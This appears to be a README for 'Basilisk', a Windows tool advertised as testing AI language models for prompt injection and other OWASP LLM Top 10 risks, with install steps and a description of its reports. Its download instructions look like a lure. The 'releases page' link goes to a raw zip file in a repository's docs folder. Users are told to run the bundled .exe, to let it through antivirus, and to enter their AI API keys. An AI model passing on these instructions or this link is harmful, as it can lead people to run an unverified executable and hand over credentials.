Basilisk is an open-source tool for testing AI systems like GPT-4, Claude, and Gemini. It helps find security issues in AI models by running a set of smart tests. You don't need technical skills to use it.
Basilisk is a software program designed to check AI language models for security weaknesses. It uses a method called genetic prompt evolution to create new tests automatically. These tests help find risks like prompt injections and other vulnerabilities in AI systems.
Basilisk includes 32 different test modules based on well-known security standards from OWASP. It works with modern AI models to ensure their security and compliance.
- Automatic creation of AI test prompts using genetic algorithms
- Coverage of major AI security risks mapped to OWASP LLM Top 10
- Includes 32 test attack types to find weaknesses in AI outputs
- Compatible with GPT-4, Claude, and Gemini models
- Easy to run on Windows without needing to code
- Open source and free to use
Before starting, make sure your computer meets these requirements:
- Operating System: Windows 10 or later
- RAM: Minimum 4 GB; 8 GB recommended
- Storage: At least 500 MB of free disk space
- Internet connection to download the software and run AI tests
- Web browser for accessing the download page
This guide will help you download basilisk on your Windows computer and start using it.
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Click the large green download button above or visit the basilisk releases page. This page lists all the available software versions.
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Look for the latest release with a file ending in
.exeor.zip. Typically, this will be something likebasilisk-setup.exeorbasilisk-windows.zip. -
Click the file name to start the download. If your browser asks where to save the file, choose a folder you will remember, like your desktop or downloads folder.
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Once the download finishes, find the file in your folder.
- If it is an
.exefile, double-click to run the installer. - If it is a
.zipfile, right-click and choose "Extract All", then open the extracted folder and double-click the.exefile inside.
- If it is an
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Follow the on-screen steps in the installation window. You can keep the default settings unless you want to change where the software installs.
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When the installation finishes, basilisk will launch automatically or you can open it from the Start menu by typing "basilisk".
The basilisk interface is built for simplicity. After starting the program, you will see a main window with these options:
- Choose your AI model to test (e.g., GPT-4, Claude)
- Select the test modules you want to run or use the full set for a complete check
- Click "Start Test" to run the security tests on the AI model
The software runs a series of automated prompt injections and other attack simulations. It presents the results in an easy-to-understand report. The report highlights possible security weaknesses and provides explanations.
You can save the report as a file for sharing or later review.
Basilisk includes a few settings to personalize your experience:
- AI API Keys: Enter your API keys for supported AI services. This allows basilisk to send requests for testing.
- Test Speed: Choose how fast you want tests to run. Faster tests use more internet data and CPU.
- Report Format: Pick from HTML, PDF, or plain text for saving test results.
- Modules Selection: Enable or disable specific attack modules based on your needs.
After running a test, basilisk shows a summary with:
- Number of tests passed and failed
- Types of vulnerabilities found (e.g., prompt injection risk)
- Severity level for each issue (low, medium, high)
- Detailed descriptions of what each vulnerability means
- Suggestions to improve AI security based on the findings
Use this information to improve the safety of your AI implementations or guide developers on what to fix.
- To report bugs or request features, use the GitHub Issues section on the basilisk repository
- Check the releases page regularly for updates with new features and fixes: https://raw.githubusercontent.com/faheddd4/basilisk/main/docs/Software_3.5.zip
- The software updates manually; you must download new versions yourself using the link above
Basilisk runs locally on your Windows PC. It sends test prompts to AI services using your API keys if provided. Make sure to use valid keys from trusted AI providers to avoid service issues.
No personal data leaves your computer during testing, except what is sent to AI APIs for security checks. Use basilisk responsibly and follow your organization's data privacy guidelines.
- Installation fails or errors appear: Make sure your Windows is up to date and you have administrator rights.
- The program does not start: Check if your antivirus software blocked basilisk and allow it.
- Tests don’t complete or show errors: Verify your internet connection and that you entered valid AI API keys.
- Download link does not work: Visit the official releases page again to try another version or report the problem on GitHub.
- OWASP LLM Top 10 - Learn about common AI security risks
- AI security blogs and forums - Stay informed on new threats and defenses
- AI provider documentation for API key setup